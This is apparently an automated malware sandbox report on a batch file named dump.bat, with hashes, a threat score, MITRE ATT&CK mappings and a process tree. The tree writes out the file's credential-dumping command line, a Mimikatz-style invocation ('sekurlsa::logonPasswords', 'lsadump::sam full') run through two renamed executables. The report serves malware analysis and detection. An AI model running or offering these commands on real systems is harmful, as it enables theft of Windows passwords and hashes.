b6ae167bc7a98a16120698f2f11452449118662dd3f1cc88e6ef7286465b45ca

Analysis

max time kernel
287s
max time network
298s
platform
windows11-21h2_x64
resource
win11-20250210-en
resource tags

arch:x64arch:x86image:win11-20250210-enlocale:en-usos:windows11-21h2-x64system
submitted
17-02-2025 11:18

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General

Target

Videos/64/dump.bat
Size

418B
MD5

daf87494678a5244eccfbf2b27d92096
SHA1

3e75976b49a7a7fc80cf44902b5a04ca066d559d
SHA256

539e58304db8207a278582902be41a9cbd7d79027fa3c053d8ab5bcc2bdbe081
SHA512

c09144ee0db6714a2a71b2030e9b3f722eca0ffe0f1c967056011eb2f33f617f32affe454f416504396f15c7e0ec552db3bfedb5fbff82447f94be023df9aa82

Score

9^/10

credential_access discovery

Malware Config

Signatures

OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	86.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4072	MicrosoftEdgeUpdate.exe
3504	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
2300	64.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe
4884	86.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	64.exe
Token: SeDebugPrivilege	4884	86.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 2300	1884	cmd.exe	83
PID 1884 wrote to memory of 2300	1884	cmd.exe	83
PID 1884 wrote to memory of 4884	1884	cmd.exe	84
PID 1884 wrote to memory of 4884	1884	cmd.exe	84
PID 1884 wrote to memory of 4884	1884	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Videos\64\dump.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Users\Admin\AppData\Local\Temp\Videos\64\64.exe
  64.exe "privilege::debug" "sekurlsa::logonPasswords" "ts::logonpasswords" "token::elevate" "lsadump::sam full" exit
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Users\Admin\AppData\Local\Temp\Videos\64\86.exe
  86.exe "privilege::debug" "sekurlsa::logonPasswords" "ts::logonpasswords" "token::elevate" "lsadump::sam full" exit
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4884

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7Q0UzMzIxN0EtQUQ1Qy00NUVGLUEzRjAtRkM3RDZGNDhBQjBGfSIgdXNlcmlkPSJ7NDJEOEMyNjMtMzZFQi00NzM3LTgzNTMtN0UzOUY3NTQ0NzJGfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7MjM4NUYxN0QtREQwNC00QTBBLUJCQzktRDc3MENCNDc0MjI5fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7RSt4YkF6Nlk2c1UxMjg5YlM2cWw0VlJMYmtqZkJVR1RNSnNqckhyNDRpST0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNjLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iMTIzLjAuNjMxMi4xMjMiIG5leHR2ZXJzaW9uPSIiIGxhbmc9ImVuIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjYiIGluc3RhbGxkYXRldGltZT0iMTczOTE4NzUwMCIgb29iZV9pbnN0YWxsX3RpbWU9IjEzMzgzNjU5NjY5NTQwMDAwMCI-PGV2ZW50IGV2ZW50dHlwZT0iMzEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjIxNzk4NjIiIHN5c3RlbV91cHRpbWVfdGlja3M9IjU0NDQxMTgxODAiLz48L2FwcD48L3JlcXVlc3Q-
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:4072

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7Q0UzMzIxN0EtQUQ1Qy00NUVGLUEzRjAtRkM3RDZGNDhBQjBGfSIgdXNlcmlkPSJ7NDJEOEMyNjMtMzZFQi00NzM3LTgzNTMtN0UzOUY3NTQ0NzJGfSIgaW5zdGFsbHNvdXJjZT0ic2NoZWR1bGVyIiByZXF1ZXN0aWQ9Ins3OEQ5MkI5Ny1BRTkxLTQ5RTgtQTg1My1BRDlCOTIxRkFDQTZ9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iMiIgcGh5c21lbW9yeT0iNCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjIyMDAwLjQ5MyIgc3A9IiIgYXJjaD0ieDY0IiBwcm9kdWN0X3R5cGU9IjQ4IiBpc193aXA9IjAiIGlzX2luX2xvY2tkb3duX21vZGU9IjAiLz48b2VtIHByb2R1Y3RfbWFudWZhY3R1cmVyPSIiIHByb2R1Y3RfbmFtZT0iIi8-PGV4cCBldGFnPSImcXVvdDtFK3hiQXo2WTZzVTEyODliUzZxbDRWUkxia2pmQlVHVE1Kc2pySHI0NGlJPSZxdW90OyIvPjxhcHAgYXBwaWQ9IntGM0M0RkUwMC1FRkQ1LTQwM0ItOTU2OS0zOThBMjBGMUJBNEF9IiB2ZXJzaW9uPSIxLjMuMTk1LjQzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSIiIGJyYW5kPSJJTkJYIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iNiIgY29ob3J0PSJycmZAMC44NiI-PHVwZGF0ZWNoZWNrLz48cGluZyByPSI3IiByZD0iNjYxNSIgcGluZ19mcmVzaG5lc3M9Ins3MDREM0EwOC0xNDIxLTQ1NUMtQTJENC00RDc2QjczOTdDRDR9Ii8-PC9hcHA-PGFwcCBhcHBpZD0iezU2RUIxOEY4LUIwMDgtNENCRC1CNkQyLThDOTdGRTdFOTA2Mn0iIHZlcnNpb249IjkwLjAuODE4LjY2IiBuZXh0dmVyc2lvbj0iIiBsYW5nPSIiIGJyYW5kPSJJTkJYIiBjbGllbnQ9IiIgZXhwZXJpbWVudHM9ImNvbnNlbnQ9ZmFsc2UiIGluc3RhbGxhZ2U9IjYiIGlzX3Bpbm5lZF9zeXN0ZW09InRydWUiIGxhc3RfbGF1bmNoX2NvdW50PSIxIiBsYXN0X2xhdW5jaF90aW1lPSIxMzM4MzY2MzQ1NDE1NzUwMDAiPjx1cGRhdGVjaGVjay8-PHBpbmcgYWN0aXZlPSIxIiBhPSI3IiByPSI3IiBhZD0iNjYxNSIgcmQ9IjY2MTUiIHBpbmdfZnJlc2huZXNzPSJ7QTY2RDI1OTItMzJCMy00NzMzLTk0RDYtNDJDMjcwRTIxMjk0fSIvPjwvYXBwPjxhcHAgYXBwaWQ9IntGMzAxNzIyNi1GRTJBLTQyOTUtOEJERi0wMEMzQTlBN0U0QzV9IiB2ZXJzaW9uPSIxMzIuMC4yOTU3LjE0MCIgbmV4dHZlcnNpb249IiIgbGFuZz0iIiBicmFuZD0iSU5CWCIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjYiIGNvaG9ydD0icnJmQDAuMTgiIHVwZGF0ZV9jb3VudD0iMSI-PHVwZGF0ZWNoZWNrLz48cGluZyByPSI3IiByZD0iNjYxNSIgcGluZ19mcmVzaG5lc3M9InsyNUY2Q0M1OC1BNzc3LTQxMzQtOEYwMi1CRTZGNjUyRDNEM0V9Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:3504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log

Filesize
316KB

MD5
14272d7b49b74a0de5d516231f829172

SHA1
e0f7d12caa3ae659bb555bf0d5d9c4f0d44dfa57

SHA256
96f1db3d0e280df58d239b1462080e04a72681e0e53c94939ec288a2f5421051

SHA512
370e68336a119fec722d780d860e493400edc74a95a725f59d7bd2a9f6ff504c057676036274162a360bff40ff0206e56c41129a1efcc75fdffc1060696a3893

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